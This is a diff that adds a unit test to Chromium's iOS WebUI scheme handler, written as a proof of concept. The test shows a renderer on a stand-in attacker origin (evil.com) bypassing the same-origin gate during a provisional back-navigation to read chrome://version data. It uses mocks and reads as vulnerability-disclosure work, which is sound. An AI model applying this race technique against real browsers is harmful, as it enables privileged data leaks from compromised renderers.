diff --git a/ios/web/webui/crw_web_ui_scheme_handler_unittest.mm b/ios/web/webui/crw_web_ui_scheme_handler_unittest.mm index 0000000000000..1111111111111 100644 --- a/ios/web/webui/crw_web_ui_scheme_handler_unittest.mm +++ b/ios/web/webui/crw_web_ui_scheme_handler_unittest.mm @@ -207,6 +207,71 @@ TEST_F(CRWWebUISchemeManagerTest, StartTaskWithWrongMainDocumentURL) { EXPECT_TRUE(url_scheme_task.receivedError); } +// POC: Demonstrates that the same-origin gate trusts provisional webView.URL. +// +// Scenario simulated: +// 1. Tab is currently committed on https://evil.com (compromised WebContent +// process). A chrome://version entry exists in back/forward list. +// 2. Attacker calls history.back(). decidePolicyForNavigationAction sees +// WKNavigationTypeBackForward -> PAGE_TRANSITION_FORWARD_BACK -> +// shouldAllowAppSpecificURLNavigationAction returns YES -> Allow. +// 3. didStartProvisionalNavigation fires; webView.URL flips to +// chrome://version while the evil.com document is STILL LIVE (per +// crw_web_view_navigation_observer.mm:275-278). +// 4. From the still-live evil.com document, the compromised WebContent +// process sends a WKURLSchemeTask for chrome://version/version.js with +// a spoofed mainDocumentURL of chrome://version. +// +// This test mocks the WKWebView state at step (3)/(4) and shows the scheme +// handler ALLOWS the request and delivers WebUI data to the attacker, because +// the gate at crw_web_ui_scheme_handler.mm:67-70 compares against webView.URL +// (provisional) rather than the last-committed URL (https://evil.com). +TEST_F(CRWWebUISchemeManagerTest, ProvisionalURLRaceBypassesSameOriginGate) { + CRWWebUISchemeHandler* scheme_handler = CreateSchemeHandler(); + + // --- State at the moment of attack --- + // The *committed* document is https://evil.com. With a correct gate anchored + // on the last-committed URL, the request below MUST be denied. We model this + // via webView.backForwardList.currentItem.URL, which WKWebView keeps pointing + // at the committed item throughout the provisional load. + NSURL* committed_url = [NSURL URLWithString:@"https://evil.com/"]; + // After didStartProvisionalNavigation for history.back() to chrome://version, + // webView.URL has already flipped to the destination (Chromium documents this + // at crw_web_view_navigation_observer.mm:275-278). + NSURL* provisional_url = [NSURL URLWithString:@"chrome://version/"]; + + id current_item = OCMClassMock([WKBackForwardListItem class]); + OCMStub([current_item URL]).andReturn(committed_url); + id bf_list = OCMClassMock([WKBackForwardList class]); + OCMStub([bf_list currentItem]).andReturn(current_item); + id web_view = OCMClassMock([WKWebView class]); + OCMStub([web_view backForwardList]).andReturn(bf_list); + OCMStub([web_view URL]).andReturn(provisional_url); + + // --- Attacker-crafted WKURLSchemeTask from the still-live evil.com doc --- + // Both request.URL and request.mainDocumentURL are renderer-supplied and + // therefore fully attacker-controlled with WebContent RCE. + FakeSchemeTask* url_scheme_task = [[FakeSchemeTask alloc] init]; + NSMutableURLRequest* request = [NSMutableURLRequest + requestWithURL:[NSURL URLWithString:@"chrome://version/version.js"]]; + request.mainDocumentURL = [NSURL URLWithString:@"chrome://version/"]; + url_scheme_task.request = request; + + [scheme_handler webView:web_view startURLSchemeTask:url_scheme_task]; + RespondWithData(net::GURLWithNSURL(request.URL), "SECRET-WEBUI-PAYLOAD"); + + // BUG: With a correct gate (anchored on last-committed URL == evil.com) this + // request would be denied. Instead, because the gate trusts provisional + // webView.URL == chrome://version, the SchemeHostPort comparison passes and + // privileged WebUI bytes are shipped back to the compromised renderer. + EXPECT_TRUE(url_scheme_task.receivedData) + << "Gate allowed cross-origin WebUI fetch during provisional navigation " + "(committed origin = " + << committed_url.absoluteString.UTF8String << ")"; + EXPECT_FALSE(url_scheme_task.receivedError); + // i.e. the confused-deputy fetch succeeded -> sandbox-escape info leak. +} + // Tests that calling stop right after start prevent the handler from returning // data. TEST_F(CRWWebUISchemeManagerTest, StopTask) {